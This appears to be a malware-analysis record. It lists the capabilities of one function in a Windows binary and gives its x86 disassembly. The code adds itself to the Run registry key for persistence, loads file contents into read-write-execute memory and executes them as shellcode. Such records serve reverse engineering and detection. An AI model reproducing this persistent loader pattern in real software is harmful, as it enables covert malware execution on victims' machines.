Function at 0x10001e10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1001d730
push eax
mov dword fs:[0], esp
lea eax, [ebp - 0x1f0]
sub esp, 0x1e4
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10001e8b
lea eax, [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1f0]
push eax
push 1
push 0
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 0x10
lea ecx, [ebp - 0xe8]
call fcn.10002f60
mov ecx, dword [ebp - 0xe8]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0xdc], 6
je 0x10001ede
mov edx, 0x1002891c
call fcn.10003b80
mov esi, eax
push 0xa
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
call fcn.10003a30
movzx ecx, al
push ecx
mov ecx, esi
call fcn.100045d0
mov ecx, esi
call fcn.100044d0
mov ecx, dword [ebp - 0xe8]
mov eax, dword [ecx + 4]
lea ecx, [ebp - 0x1c]
mov word [ebp - 0x24], 1
push dword [ebp - 0x24]
mov byte [ebp - 0x2b], 0
mov eax, dword [ebp + eax - 0xb0]
test eax, eax
push 0
sete byte [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
push eax
mov dword [ebp - 0x14], 0
call fcn.10004820
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
sub ebx, edi
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10001f6a
mov edx, 0x100288d4
call fcn.10003b80
mov esi, eax
push 0xa
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
call fcn.10003a30
movzx ecx, al
push ecx
mov ecx, esi
call fcn.100045d0
mov ecx, esi
call fcn.100044d0
jmp 0x10001f85
push ebx
push edi
push esi
call fcn.10006d60
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test edi, edi
je 0x10001fb6
mov ecx, dword [ebp - 0x14]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10001fac
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000203c
push ecx
push edi
call fcn.10005864
add esp, 8
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xe8], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xec], eax
lea ecx, [ebp - 0xd8]
call fcn.10002b60
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xe8], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xec], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x78], vtable.std::ios_base.0
call fcn.10005313
mov ecx, dword [ebp - 0xc]
add esp, 4
xor eax, eax
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1000a41a
int3